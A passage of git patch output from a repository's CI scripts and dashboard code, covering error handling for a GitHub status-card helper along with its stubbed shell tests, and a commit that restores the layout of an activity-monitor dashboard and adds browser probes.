isinstance(c.get("body") or "", str): + sys.exit("comment %r has a malformed user or body" % c.get("id")) +json.dump(out, sys.stdout)' "$flat" || read_error "comments for $1#$2 could not be parsed" } cmd="${1:-}"; repo="${2:-}"; number="${3:-}" case "$cmd" in has) section="${4:?section key required}" - comments "$repo" "$number" | python3 -c 'import json,re,sys + list=$(comments "$repo" "$number") + printf '%s' "$list" | python3 -c 'import json,re,sys want=sys.argv[1] section_re=re.compile(r"") def matches(key): @@ -64,7 +102,8 @@ sys.exit(1)' "$section" ;; upsert) marker="${4:?marker required}"; body_file="${5:?body file required}" - id=$(comments "$repo" "$number" | python3 -c 'import json,sys + list=$(comments "$repo" "$number") + id=$(printf '%s' "$list" | python3 -c 'import json,sys marker, author = sys.argv[1], sys.argv[2] for c in json.load(sys.stdin): if (c.get("user") or {}).get("login") != author: diff --git a/.github/scripts/integration-governance.cjs b/.github/scripts/integration-governance.cjs index 847040a5ca..043b217831 100644 --- a/.github/scripts/integration-governance.cjs +++ b/.github/scripts/integration-governance.cjs @@ -9,7 +9,7 @@ const MAX_COMMITS = 1000; const MAX_AUTHOR_BATCH = 50; // This literal is inside the enrolled .github closure. A caller-supplied // preparedBy.sourceSHA must never choose a new executable verifier tree. -const TRUSTED_SCRIPTS_TREE = '9ba1ee4cedf0c05df6d68b5ef905fed8a2924af5'; +const TRUSTED_SCRIPTS_TREE = '25ff55e8bd1ab6da9d717727df35947ab008d146'; const SOURCE = 'https://github.com/kubernetes-sigs/kubebuilder-release-tools/tree/012269a88fa4c034a0acf1ba84c26b195c0dbab4'; const sha = value => crypto.createHash('sha256').update(value).digest('hex'); const git = (args, cwd = process.cwd()) => diff --git a/.github/scripts/test-hive-status-card.sh b/.github/scripts/test-hive-status-card.sh new file mode 100755 index 0000000000..b4425c0dd7 --- /dev/null +++ b/.github/scripts/test-hive-status-card.sh @@ -0,0 +1,164 @@ +#!/usr/bin/env bash +# test-hive-status-card.sh β€” exercises .github/scripts/hive-status-card.sh with +# a gh stub so no network calls are made (#16363). +# +# Pins: exact section matching, ordinary behaviour when no card exists, that +# an API or parse failure is reported as an error (exit 3) and never as +# absence, and that `upsert` edits only the posting identity's marker comment. +set -u -o pipefail + +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +HELPER="${HERE}/hive-status-card.sh" +TMP_ROOT="${HERE}/../.test-tmp" +mkdir -p "$TMP_ROOT" +TMP="$(mktemp -d "$TMP_ROOT/hive-status-card.XXXXXX")" +trap 'rm -rf "$TMP"; rmdir "$TMP_ROOT" 2>/dev/null || true' EXIT + +fail=0 +pass() { echo " ok: $*"; } +bad() { echo " FAIL: $*"; fail=1; } + +CALL_LOG="$TMP/gh-calls.log" +: > "$CALL_LOG" + +GH_STUB="$TMP/gh" +cat > "$GH_STUB" <<'STUB' +#!/usr/bin/env bash +set -euo pipefail +method=GET +path="" +prev="" +for arg in "$@"; do + if [ "$prev" = "-X" ]; then method="$arg"; prev=""; continue; fi + if [ "$prev" = "-f" ] || [ "$prev" = "-F" ]; then prev=""; continue; fi + case "$arg" in + -X|-f|-F) prev="$arg" ;; + repos/*) path="$arg" ;; + esac +done +printf '%s %s\n' "$method" "$path" >> "$CALL_LOG" +if [ "$method" != "GET" ]; then + printf '{"id":1}\n' + exit 0 +fi +card='{"id":%s,"user":{"login":"hivecommons-hive[bot]","type":"Bot"},"body":"\\n**Hive status**\\n\\n\\nnote\\n"}' +case "$path" in + repos/o/r/issues/1/comments*) + printf "[[$card]]\n" 101 issue-close ;; + repos/o/r/issues/2/comments*) + printf "[[$card]]\n" 201 issue-partial:1638 ;; + repos/o/r/issues/3/comments*) + printf '[[{"id":301,"user":{"login":"someone","type":"User"},"body":"plain comment"}],[]]\n' ;; + repos/o/r/issues/4/comments*) + printf '[[{"id":401,"user":{"login":"someone","type":"User"},"body":"quoting:\\n\\n"}]]\n' ;; + repos/o/r/issues/5/comments*) + echo "HTTP 502: Bad Gateway" >&2 + exit 1 ;; + repos/o/r/issues/6/comments*) + printf 'rate limited\n' ;; + repos/o/r/issues/7/comments*) + printf '{"message":"Not Found"}\n' ;; + repos/o/r/issues/8/comments*) + printf '[[{"id":801,"user":"not-an-object","body":"x"}]]\n' ;; + repos/o/r/issues/9/comments*) + printf '[[{"id":901,"user":{"login":"someone","type":"User"},"body":"I saw quoted"}],[{"id":902,"user":{"login":"github-actions[bot]","type":"Bot"},"body":"\\nold"}]]\n' ;; + repos/o/r/issues/10/comments*) + printf '[[{"id":1001,"user":{"login":"someone","type":"User"},"body":"I saw quoted"}]]\n' ;; + *) + echo "unexpected gh api path: $path" >&2 + exit 99 ;; +esac +STUB +chmod +x "$GH_STUB" + +# run_has ISSUE SECTION -> sets rc and err +run_has() { + : > "$CALL_LOG" + err=$(CALL_LOG="$CALL_LOG" GH_BIN="$GH_STUB" bash "$HELPER" has o/r "$1" "$2" 2>&1 >/dev/null) + rc=$? +} + +run_has 1 issue-close +if [ "$rc" -eq 0 ]; then pass "has: card carrying issue-close reports present"; else bad "has issue-close on #1: expected 0, got ${rc} (${err})"; fi + +run_has 1 issue-closed +if [ "$rc" -eq 1 ]; then pass "has: section keys match exactly, not by prefix"; else bad "has issue-closed on #1: expected 1, got ${rc}"; fi + +run_has 2 issue-partial:163 +if [ "$rc" -eq 1 ]; then pass "has: issue-partial:163 does not match issue-partial:1638"; else bad "has issue-partial:163 on #2: expected 1, got ${rc}"; fi + +run_has 2 issue-partial: +if [ "$rc" -eq 0 ]; then pass "has: a trailing colon is an explicit prefix match"; else bad "has issue-partial: on #2: expected 0, got ${rc}"; fi + +run_has 3 issue-close +if [ "$rc" -eq 1 ] && [ -z "$err" ]; then pass "has: no card is ordinary absence (exit 1, no error)"; else bad "has on #3 (no card): expected 1 and no stderr, got ${rc} (${err})"; fi + +run_has 4 issue-close +if [ "$rc" -eq 1 ]; then pass "has: a human quoting the card's markers is not the card"; else bad "has on #4 (human quote): expected 1, got ${rc}"; fi + +for case in "5:API failure" "6:non-JSON response" "7:JSON that is not a comment list" "8:malformed comment object"; do + n="${case%%:*}"; what="${case#*:}" + run_has "$n" issue-close + if [ "$rc" -eq 3 ] && printf '%s' "$err" | grep -q '^hive-status-card: error:'; then + pass "has: ${what} exits 3 with an error, not absence" + else + bad "has on #${n} (${what}): expected exit 3 and an error line, got ${rc} (${err})" + fi +done + +: > "$CALL_LOG" +printf 'not json' > "$TMP/bad-comments.json" +CALL_LOG="$CALL_LOG" GH_BIN="$GH_STUB" HIVE_COMMENTS_FILE="$TMP/bad-comments.json" bash "$HELPER" has o/r 1 issue-close >/dev/null 2>&1 +rc=$? +if [ "$rc" -eq 3 ] && [ ! -s "$CALL_LOG" ]; then pass "has: an unparseable HIVE_COMMENTS_FILE is an error and issues no GET"; else bad "bad HIVE_COMMENTS_FILE: expected 3 and no gh call, got ${rc}"; fi + +: > "$CALL_LOG" +CALL_LOG="$CALL_LOG" GH_BIN="$GH_STUB" HIVE_COMMENTS_FILE="$TMP/missing.json" bash "$HELPER" has o/r 1 issue-close >/dev/null 2>&1 +rc=$? +if [ "$rc" -eq 3 ]; then pass "has: a missing HIVE_COMMENTS_FILE is an error"; else bad "missing HIVE_COMMENTS_FILE: expected 3, got ${rc}"; fi + +BODY="$TMP/body.md" +printf '\nnew\n' > "$BODY" + +run_upsert() { + : > "$CALL_LOG" + CALL_LOG="$CALL_LOG" GH_BIN="$GH_STUB" bash "$HELPER" upsert o/r "$1" '' "$BODY" >/dev/null 2>&1 + rc=$? +} + +run_upsert 9 +if [ "$rc" -eq 0 ] && grep -q '^PATCH repos/o/r/issues/comments/902$' "$CALL_LOG" \ + && ! grep -q '901' "$CALL_LOG" && ! grep -q '^POST' "$CALL_LOG"; then + pass "upsert: edits the posting identity's own marker comment (found on a later page)" +else + bad "upsert #9: expected one PATCH of 902 (rc=${rc})"; sed 's/^/ | /' "$CALL_LOG" +fi + +run_upsert 10 +if [ "$rc" -eq 0 ] && grep -q '^POST repos/o/r/issues/10/comments$' "$CALL_LOG" && ! grep -q '^PATCH' "$CALL_LOG"; then + pass "upsert: never edits another author's comment carrying the marker; creates its own" +else + bad "upsert #10: expected a POST and no PATCH (rc=${rc})"; sed 's/^/ | /' "$CALL_LOG" +fi + +run_upsert 3 +if [ "$rc" -eq 0 ] && grep -q '^POST repos/o/r/issues/3/comments$' "$CALL_LOG"; then + pass "upsert: creates the comment when no marker comment exists" +else + bad "upsert #3: expected a POST (rc=${rc})"; sed 's/^/ | /' "$CALL_LOG" +fi + +for n in 5 6; do + run_upsert "$n" + if [ "$rc" -eq 3 ] && ! grep -q -E '^(POST|PATCH)' "$CALL_LOG"; then + pass "upsert: a read failure on #${n} exits 3 without posting a duplicate" + else + bad "upsert #${n}: expected exit 3 and no write (rc=${rc})"; sed 's/^/ | /' "$CALL_LOG" + fi +done + +if [ "$fail" -ne 0 ]; then + echo "test-hive-status-card FAILED" + exit 1 +fi +echo "test-hive-status-card OK" diff --git a/changelog.d/fixed-16363-status-card-errors.md b/changelog.d/fixed-16363-status-card-errors.md new file mode 100644 index 0000000000..c2427e9a9f --- /dev/null +++ b/changelog.d/fixed-16363-status-card-errors.md @@ -0,0 +1 @@ +- The post-merge refs sweep no longer treats an unreadable `hive:status` card as "no card": when the comments API call fails or returns something other than a JSON list of comments, `.github/scripts/hive-status-card.sh` now reports an error (exit 3) instead of absence, `upsert` writes nothing, and the sweep skips that issue with an `::error::` annotation and a non-zero exit rather than posting a possible duplicate note ([#16363](https://github.com/hivecommons/hive/issues/16363)). diff --git a/src/docs/notifications.md b/src/docs/notifications.md index 3538d159ba..6c92787a77 100644 --- a/src/docs/notifications.md +++ b/src/docs/notifications.md @@ -687,6 +687,15 @@ paths apply only where a card exists; with `github.notifications.attention_pilot` off there is no issue card, and the workflows behave as before. +A failure to read the card is not treated as "no card": when the comments +API call fails or its response is not a JSON list of comment objects, +`hive-status-card.sh` writes a `hive-status-card: error:` line and exits 3 +(`has` otherwise exits 0 for present, 1 for absent), and `upsert` writes +nothing. The refs sweep then skips that issue with an `::error::` annotation +and exits non-zero instead of posting a possible duplicate. +`.github/scripts/test-hive-status-card.sh` and +`src/scripts/test-comment-merged-refs.sh` pin this behaviour. + **Outside Hive's control.** Comments from external bots, such as Prow, tide and kubestellar-prow, are posted by their own services and cannot be edited, folded or skipped from this repository. Hive does not try to suppress them; diff --git a/src/scripts/comment-merged-refs.sh b/src/scripts/comment-merged-refs.sh index ddbbdb648f..c9f92f1c2a 100755 --- a/src/scripts/comment-merged-refs.sh +++ b/src/scripts/comment-merged-refs.sh @@ -122,6 +122,7 @@ json.dump(obj, sys.stdout)' posted=0 skipped=0 +card_errors=0 while IFS= read -r issue; do [ -n "$issue" ] || continue issue_json=$(api "repos/${REPO}/issues/${issue}") @@ -180,18 +181,26 @@ sys.exit(1)' # The runtime's hive:status card carries the same condition as an # `issue-partial:` section; a second notifying comment would duplicate it. # The comments fetched above are handed to the helper so it does not - # re-fetch the same pages. + # re-fetch the same pages. Exit 1 is "no such section"; anything else is a + # read/parse failure, which must not be mistaken for absence and post. card_helper="$(dirname "${BASH_SOURCE[0]}")/../../.github/scripts/hive-status-card.sh" if [ -x "$card_helper" ]; then comments_file=$(mktemp) printf '%s' "$comments_json" > "$comments_file" - if GH_BIN="$GH_BIN" HIVE_COMMENTS_FILE="$comments_file" "$card_helper" has "$REPO" "$issue" "issue-partial:${PR_NUMBER}" 2>/dev/null; then - rm -f "$comments_file" + card_rc=0 + GH_BIN="$GH_BIN" HIVE_COMMENTS_FILE="$comments_file" "$card_helper" has "$REPO" "$issue" "issue-partial:${PR_NUMBER}" || card_rc=$? + rm -f "$comments_file" + if [ "$card_rc" -eq 0 ]; then echo "Skipping #${issue}: hive:status card already carries the partial-merge note." skipped=$((skipped + 1)) continue fi - rm -f "$comments_file" + if [ "$card_rc" -ne 1 ]; then + echo "::error::Skipping #${issue}: could not read its hive:status card (hive-status-card.sh exit ${card_rc}); not posting a possible duplicate." >&2 + card_errors=$((card_errors + 1)) + skipped=$((skipped + 1)) + continue + fi fi comment_body=$(printf '%s\nPR #%s has merged (%s) and referenced this issue with a non-closing `%s` rather than a closing keyword.\n\nThis issue remains open because the merged PR did not use `Closes` / `Fixes` / `Resolves`. If the fix should close it on merge, use a closing keyword in the PR body; use the opt-in `hive: needs-confirmation` marker only when the reporter genuinely must verify before closure.' \ @@ -308,3 +317,8 @@ $closing_issues EOF_CLOSING printf 'Parent auto-close sweep complete for PR #%s: %s parent(s) closed, %s parent(s) skipped.\n' "$PR_NUMBER" "$parent_closed" "$parent_skipped" + +if [ "$card_errors" -gt 0 ]; then + echo "Refs sweep for PR #${PR_NUMBER}: ${card_errors} issue(s) skipped because their hive:status card could not be read." >&2 + exit 1 +fi diff --git a/src/scripts/test-comment-merged-refs.sh b/src/scripts/test-comment-merged-refs.sh index 12d139e738..66b32943b5 100755 --- a/src/scripts/test-comment-merged-refs.sh +++ b/src/scripts/test-comment-merged-refs.sh @@ -163,6 +163,11 @@ JSON repos/hivecommons/hive/pulls/133) cat <<'JSON' {"number":133,"merged_at":"2026-09-10T21:35:00Z","html_url":"https://github.com/hivecommons/hive/pull/133","body":"Refs #24"} +JSON + ;; + repos/hivecommons/hive/pulls/134) + cat <<'JSON' +{"number":134,"merged_at":"2026-09-10T21:40:00Z","html_url":"https://github.com/hivecommons/hive/pull/134","body":"Refs #25"} JSON ;; repos/hivecommons/hive/issues/10) @@ -192,6 +197,9 @@ JSON repos/hivecommons/hive/issues/24) printf '{"number":24,"state":"open","user":{"login":"maintainer"},"labels":[]}\n' ;; + repos/hivecommons/hive/issues/25) + printf '{"number":25,"state":"open","user":{"login":"maintainer"},"labels":[]}\n' + ;; repos/hivecommons/hive/collaborators/maintainer/permission) printf 'write\n' ;; @@ -221,6 +229,9 @@ JSON repos/hivecommons/hive/issues/24/timeline*) printf '[[]]\n' ;; + repos/hivecommons/hive/issues/25/timeline*) + printf '[[]]\n' + ;; repos/hivecommons/hive/issues/10/comments*) printf '[[]]\n' ;; @@ -243,6 +254,11 @@ JSON repos/hivecommons/hive/issues/24/comments*) cat <<'JSON' [[{"id":2401,"user":{"login":"somebody","type":"User"},"body":"quoting the card:\n\n\nPartially addressed by #133.\n"}]] +JSON + ;; + repos/hivecommons/hive/issues/25/comments*) + cat <<'JSON' +[[{"id":2501,"user":"not-an-object","body":"malformed payload"}]] JSON ;; repos/hivecommons/hive/issues/90/comments*) @@ -543,6 +559,21 @@ else cat "$CALL_LOG" | sed 's/^/ | /' fi +# --- hive:status card: a card read/parse failure is an error, not absence --- +: > "$CALL_LOG" +set +e +card_error_output=$(CALL_LOG="$CALL_LOG" BODY_LOG="$BODY_LOG" GH_BIN="$GH_STUB" bash "$CHECKER" --repo hivecommons/hive --pr 134 2>&1) +card_error_rc=$? +set -e +if [ "$card_error_rc" -ne 0 ] && ! grep -q '^POST repos/hivecommons/hive/issues/25/comments' "$CALL_LOG" \ + && echo "$card_error_output" | grep -q '::error::Skipping #25: could not read its hive:status card'; then + pass "an unreadable hive:status card fails the sweep visibly instead of posting a possible duplicate" +else + bad "expected a non-zero exit, an ::error:: line and no POST on #25 (rc=${card_error_rc})" + echo "$card_error_output" | sed 's/^/ | /' + cat "$CALL_LOG" | sed 's/^/ | /' +fi + # --- hive-status-card.sh upsert: edits only the posting identity's comment --- CARD_HELPER="${HERE}/../../.github/scripts/hive-status-card.sh" UPSERT_BODY="$TMP/upsert-body.md" From abf91a871c4fafb16724a9644d7490ce4fc30a05 Mon Sep 17 00:00:00 2001 From: Andy Anderson Date: Tue, 3 Nov 2026 14:12:07 -0500 Subject: [PATCH 10/87] =?UTF-8?q?=F0=9F=90=9B=20Restore=20activity=20monit?= =?UTF-8?q?or=20layout=20and=20compact=20chevrons=20(#16454)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› Restore activity monitor layout and compact chevrons Restore canonical metadata spans, full-row right-anchored controls and bounded shared tracks for linked and multi-PR rows. Separate current-phase position from running activity. Wrap chevrons to two visible lines with accessible full details and icon-only unknowns. Preserve decision controls without competing tooltip overlays. Independent review cleared the final implementation; canonical CI and published-render geometry/interaction proof remain required. All reported chevron work stays in this single branch and PR. Signed-off-by: Andrew Anderson * πŸ› Repair activity monitor regressions and cover dense layouts Exercise production row layouts and decision controls in the existing browser harness, repair coupled expectations without reducing ratchets, and label observed PR source repair Remediating while preserving native state identifiers. Signed-off-by: Andrew Anderson * πŸ› Repair activity monitor assertions and browser focus checks Signed-off-by: Andrew Anderson * πŸ› Isolate activity browser fixtures and verify captured pixels Signed-off-by: Andrew Anderson --------- Signed-off-by: Andrew Anderson --- .github/scripts/integration-governance.cjs | 2 +- .github/workflows/dashboard-mobile-shots.yml | 1 + changelog.d/fixed-activity-header-spans.md | 1 + src/docs/dashboard-source-layout.md | 112 ++++++ src/pkg/dashboard/stage_tracker.go | 8 +- .../stage_tracker_acting_caption_test.go | 15 +- src/pkg/dashboard/stage_tracker_activity.go | 12 +- .../dashboard/stage_tracker_activity.test.js | 378 +++++++++++++++++- .../dashboard/stage_tracker_activity_test.go | 16 +- .../stage_tracker_actor_icon_test.go | 10 +- src/pkg/dashboard/stage_tracker_caption.go | 4 +- .../dashboard/stage_tracker_claimant_test.go | 2 +- .../stage_tracker_decision_popover_test.go | 3 +- src/pkg/dashboard/stage_tracker_fixer.go | 2 +- src/pkg/dashboard/stage_tracker_fixer_test.go | 2 +- .../stage_tracker_header_spans.test.js | 235 +++++++++++ .../stage_tracker_human_attention.test.js | 1 + .../stage_tracker_merge_failed_column_test.go | 3 +- .../stage_tracker_merge_gate_test.go | 6 +- .../stage_tracker_merge_train_eta.go | 2 +- .../stage_tracker_preparation_visual.test.js | 1 + .../stage_tracker_sentinel_lane_test.go | 4 +- src/pkg/dashboard/stage_tracker_test.go | 8 +- .../stage_tracker_ui_prelude_test.go | 3 +- .../dashboard/stage_tracker_ui_rows_test.go | 46 ++- src/pkg/dashboard/stage_tracker_vocabulary.go | 2 +- .../stage_tracker_vocabulary_test.go | 2 +- src/pkg/dashboard/static-src/css/tracker.css | 103 +++-- .../static-src/js/tracker-actions.js | 9 +- .../dashboard/static-src/js/tracker-motion.js | 6 + .../static-src/js/tracker-row-layout.js | 19 +- .../static-src/js/tracker-row-strip.js | 44 +- .../dashboard/static-src/js/tracker-row.js | 2 +- .../static-src/js/tracker-words-core.js | 4 +- .../static-src/js/tracker-words-gate.js | 3 +- .../static-src/js/tracker-words-stage.js | 4 +- src/pkg/dashboard/static/index.html | 194 +++++---- .../testdata/tracker-activity-density.json | 83 ++++ .../testdata/tracker-decision-interaction.js | 101 +++++ .../testdata/tracker-header-geometry.js | 217 ++++++++++ src/scripts/dashboard-mobile-shots.mjs | 192 ++++++++- .../fixtures/dashboard-activity-density.mjs | 162 ++++++++ .../fixtures/dashboard-preparation-rail.mjs | 4 +- 43 files changed, 1801 insertions(+), 227 deletions(-) create mode 100644 changelog.d/fixed-activity-header-spans.md create mode 100644 src/pkg/dashboard/stage_tracker_header_spans.test.js create mode 100644 src/pkg/dashboard/webstatic/testdata/tracker-activity-density.json create mode 100644 src/pkg/dashboard/webstatic/testdata/tracker-decision-interaction.js create mode 100644 src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js create mode 100644 src/scripts/fixtures/dashboard-activity-density.mjs diff --git a/.github/scripts/integration-governance.cjs b/.github/scripts/integration-governance.cjs index 043b217831..84de24ec01 100644 --- a/.github/scripts/integration-governance.cjs +++ b/.github/scripts/integration-governance.cjs @@ -9,7 +9,7 @@ const MAX_COMMITS = 1000; const MAX_AUTHOR_BATCH = 50; // This literal is inside the enrolled .github closure. A caller-supplied // preparedBy.sourceSHA must never choose a new executable verifier tree. -const TRUSTED_SCRIPTS_TREE = '25ff55e8bd1ab6da9d717727df35947ab008d146'; +const TRUSTED_SCRIPTS_TREE = '55bc8023d6e79acf4b3eeb284bd4c2f927537630'; const SOURCE = 'https://github.com/kubernetes-sigs/kubebuilder-release-tools/tree/012269a88fa4c034a0acf1ba84c26b195c0dbab4'; const sha = value => crypto.createHash('sha256').update(value).digest('hex'); const git = (args, cwd = process.cwd()) => diff --git a/.github/workflows/dashboard-mobile-shots.yml b/.github/workflows/dashboard-mobile-shots.yml index f55eb1242c..e6c5b37a84 100644 --- a/.github/workflows/dashboard-mobile-shots.yml +++ b/.github/workflows/dashboard-mobile-shots.yml @@ -9,6 +9,7 @@ on: - 'src/pkg/dashboard/**' - 'src/scripts/dashboard-mobile-shots.mjs' - 'src/scripts/fixtures/dashboard-preparation-rail.mjs' + - 'src/scripts/fixtures/dashboard-activity-density.mjs' - '.github/workflows/dashboard-mobile-shots.yml' concurrency: diff --git a/changelog.d/fixed-activity-header-spans.md b/changelog.d/fixed-activity-header-spans.md new file mode 100644 index 0000000000..f2bd6f427d --- /dev/null +++ b/changelog.d/fixed-activity-header-spans.md @@ -0,0 +1 @@ +- Restore activity issue/PR header spans and far-right action controls; keep truthful current-phase highlights across parallel CI/Review, wrap all chevrons within two lines with complete hover/keyboard details, show unknown track states as icons rather than verbose panels, and label observed PR remediation β€œRemediating” without renaming native states or implying work during waits. diff --git a/src/docs/dashboard-source-layout.md b/src/docs/dashboard-source-layout.md index c54ab8dec2..e3066e0b92 100644 --- a/src/docs/dashboard-source-layout.md +++ b/src/docs/dashboard-source-layout.md @@ -27,6 +27,118 @@ is *where edits land* β€” a toast fix touches `css/alerts-toasts.css`, a tracker fix touches `js/tracker-row.js`, and two such PRs no longer conflict on one 60 000-line file. +Activity row headers share the progress strip's physical grid. Their issue +metadata spans Open through Claimed, even without a PR; PR metadata starts at +the canonical PR in progress boundary and spans through Merge gate, including +the independent CI and Review tracks. Modifier/action badges wrap in their own +full-width, far-right-anchored toolbar line, rather than overflowing the history +cap into a title or ending in an issue-side column. At narrow widths the header +slots stack and wrap; small-screen progress strips scroll horizontally without +moving header controls offscreen. `stage_tracker_header_spans.test.js` +checks rendered markup and track arithmetic in CI; these are not visual proof. +The existing Dashboard Mobile Shots workflow additionally runs the generated +SPA in real Chrome against `scripts/fixtures/dashboard-activity-density.mjs`, +preserving the preparation-rail suite. It adds activity-only desktop widths +2400, 1440, 1110 and 1024 to the existing mobile/tablet viewports (including +768 and 390), in both themes. Canonical lane boundaries are carried in +`data-ham-pr-start` and bound to the CSS custom property by the production +row materializer, including nested rows; no parallel hardcoded span is used. +Browser fixture evidence is explicitly mocked and rebased to the browser clock; +permissions are mocked only in this isolated file-page, restored on cleanup. +This does not validate private authenticated live projection or production rollout. +The existing `dashboard-mobile-shots` artifact contains `activity-layout.json`, +per-viewport/theme `*-activity-probes.json`, full-document `*-activity-density.png` +and actual-viewport `*-activity-density-viewport.png`, with +PR head, checkout SHA and generated-asset SHA256 provenance. Activity probe +violations fail capture after saving the results/screenshots for every viewport; +the existing reporting-only workflow policy and permissions are unchanged. +In addition to the DOM-handler probes, real CDP mouse movement and +ArrowDown/Enter/Space key dispatch check tooltip takeover and entry into an +already-open decision dialog. `*-activity-decision-pointer.png` and +`*-activity-decision-keyboard.png` capture the actual viewport during those +browser interactions, rather than a full-document composite of fixed dialogs; +the isolated headless page owns emulated focus, recorded in pointer preconditions. +Geometry failures include the actual control hit target or measured content gap; +no decision action is activated. Fixture/probe failures remain failures, not +skipped or string-assertion substitutes for browser proof. +Persistent human/preparation context overrides the generic event-entry animation +so transient translation cannot move neighboring narrow captions. Keyboard entry +focuses decision actions without scrolling, which would otherwise close the +dialog through its scroll-away listener. Control probes await a bounded stable +scroll/visual viewport before every mandatory hit-test; native pointer/keyboard +reports also retain each decision action's bounds and actual hit target. +Fixture transitions close the preceding terminal/export dialog through its +native close API, releasing its captured keyboard listener instead of leaving +an unrelated modal over the activity controls. Native pointer preconditions +also hit-test the trigger itself. Viewport captures explicitly target the +current document scroll rectangle; density and pointer/keyboard reports inspect +their actual PNG pixels, excluding scrollbars, and fail a uniform-background +capture. This paint check only rejects empty evidence; nonblank images still +require visual inspection and do not replace geometry or interaction checks. +The 12:36 screenshot shapes additionally exercise nested #16450 and root +#16451 recorded/unverified preparation fronts, #16446 awaiting a superseding +human decision, pluk #436 assigned review after passing CI, #16437 approved +review with unknown CI, and Hotshot #344 queued CI with approved review. +These identities/relationships are acceptance inputs, not live stage claims. +Every rendered progress strip must own a visible current location or delegate +to drawn PR children; closed adopted-original notes intentionally own no strip. +The existing preparation-root rail gutter is retained: cross-row comparison +uses like gutters, while every header is measured against its own lane edges. +The same probes can be invoked on a dedicated published-preview fixture tab: +invoke +`webstatic/testdata/tracker-header-geometry.js` as +`()({ dedicatedPreview: true })` there at desktop and narrow +widths with issue-only, linked, and PR-only rows present, including long titles +and waiting/regression badges. It asserts measured lane boundaries, metadata +containment, badge separation and header-to-progress separation. Every relevant +header control must stay horizontally contained and pass center hit-testing; +the probe deliberately scrolls vertically offscreen controls into view and +restores scroll positions rather than silently skipping them. It never activates +controls. Do not run interaction/scroll probes in the user's live dashboard tab. +Nested PRs use the same explicit bounded grid-track contract as root rows, +not implicit min-content tracks that long identity/context text can widen. +The probe also compares physical lane positions/heights across rows and bounds +vertical gaps by the actual CSS gap/margins, allowing real wrapped content but +rejecting unexplained empty space. + +`webstatic/testdata/tracker-activity-density.json` records acceptance shapes from +the owner's 12:01 screenshot: #16404 with #16442/#16378, Hotshot #343/#344, +#16438 with #16446/#16449, issue-only #16420, and a PR-only #16437 view variant. +It preserves full GitHub-read titles, author identities, heads and long waiting +captions. Its stage/activity projections and frozen clock are deterministic test +inputs, not a claimed live backend snapshot. Use these structures plus long +unbroken-handle stress data for preview coverage; a fixture passing is not proof +that the published application renders correctly. + +The split CI/Review cards also distinguish position from activity: a steady +outline and accessible current-phase label identify the occupied phase, even when +evidence is unknown, work is queued or a PR is held. The running-work class and +motion still require fresh current-head activity evidence; completion remains +evidence-based. Both parallel tracks can occupy the current phase without +claiming either is running. Native stages, holds and merge authority do not +change. + +All progress chevrons share a fixed two-line text budget, wrapping even unbroken +handles. Icons have reserved space clear of the chevron points. Full details +remain in the native title and/or shared hover/focus tooltip portal; links and +decision controls remain interactive. Decision chevrons, including native +merge-gate claim conflicts, instead use their existing decision dialog as the +sole hover/focus detail surface. The gate caption remains a decision button; +full caption, reason and head metadata go to its keyboard-accessible Details, +without a competing tooltip or extra focus stop. The dedicated-preview +`webstatic/testdata/tracker-decision-interaction.js` probe uses the same invocation +to check pointer hover, focus, ArrowDown/Enter/Space entry, action hit-testing, +and tooltip exclusion. It never activates a decision action. Unknown, stale or old-head CI/Review +observations show only the existing 050 column glyph, with their full source, +reason, owner and head metadata available in the keyboard-accessible tooltip. +Unknown does not mean running, passed or approved. Known track captions use the +same two-line budget; fixer/diagnostic detail belongs in the tooltip. +PR source repair after failed CI or review findings is labelled **Remediating** +when current-head verified work is observed. Native `fixing` state identifiers +and `stage/070-fixing` remain unchanged; waiting for an author/fixer, stale +evidence and re-review do not become active remediation. General Fix actions, +PR titles and recorded historical text are not renamed. + The sources sit in a sibling directory (`static-src/`, not `static/src/`) on purpose: `//go:embed static` embeds everything under `static/` recursively, so sources placed inside it would be compiled into the binary and served. diff --git a/src/pkg/dashboard/stage_tracker.go b/src/pkg/dashboard/stage_tracker.go index 1520e3ec1c..e3151ae0ef 100644 --- a/src/pkg/dashboard/stage_tracker.go +++ b/src/pkg/dashboard/stage_tracker.go @@ -971,7 +971,7 @@ func stageTrackerShort(s stagelabels.Stage) string { case stagelabels.Reviewed: return "Review passed" case stagelabels.Fixing: - return "Fixing" + return "Remediating" case stagelabels.NeedsAuthor: return "Needs author" case stagelabels.ReturnedToContributor: @@ -996,9 +996,13 @@ func stageTrackerStages(overrides map[string]time.Duration) []StageTrackerStage out := make([]StageTrackerStage, 0, len(stagelabels.Table)) for _, d := range stagelabels.Table { branch := stageTrackerBranchFrom(d.Number) + description := d.Description + if d.Stage == stagelabels.Fixing { + description = stageTrackerRemediationNeededCaption + } out = append(out, StageTrackerStage{ Number: d.Number, Slug: d.Slug, Label: d.Stage.Label(), Short: stageTrackerShort(d.Stage), - Description: d.Description, Issue: d.Issue, PR: d.PR, Main: branch == 0, BranchFrom: branch, + Description: description, Issue: d.Issue, PR: d.PR, Main: branch == 0, BranchFrom: branch, DwellSeconds: int64(stagelabels.Dwell(d.Stage, overrides) / time.Second), FallsTo: stageTrackerFallsTo(d), }) diff --git a/src/pkg/dashboard/stage_tracker_acting_caption_test.go b/src/pkg/dashboard/stage_tracker_acting_caption_test.go index 95675d0939..5514990bd4 100644 --- a/src/pkg/dashboard/stage_tracker_acting_caption_test.go +++ b/src/pkg/dashboard/stage_tracker_acting_caption_test.go @@ -14,13 +14,13 @@ import ( // sat on them in muted grey β€” unreadable β€” while "Ready for human merge Β· // untrusted author" still showed beside it, wrapped to four lines. While an // action is in flight a lit chevron shows ONE caption, on an opaque plate -// that meets WCAG AA in both themes, on one line. +// that meets WCAG AA in both themes, within the shared two-line budget. const stageTrackerActingHideRule = `.cue-acting > .ham-strip-row > .ham-strip > .ham-seg.active:not(.cap) > :not(.cue-acting-cap) { display: none; }` // stageTrackerActingPlateRule is the plate: page surface under page text, -// above the stripes and the pulse overlay, one line with an ellipsis. -const stageTrackerActingPlateRule = `.ham-seg.active > .cue-acting-cap { display: inline-block; position: relative; z-index: 1; margin-left: 0; max-width: 100%; min-width: 0; box-sizing: border-box; padding: var(--sp-1) var(--sp-2); border-radius: var(--r-pill); background: var(--surface-0); color: var(--text); font-weight: var(--fw-medium); line-height: 1.2; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }` +// above the stripes and the pulse overlay, wrapping within two lines. +const stageTrackerActingPlateRule = `.ham-seg.active > .cue-acting-cap { 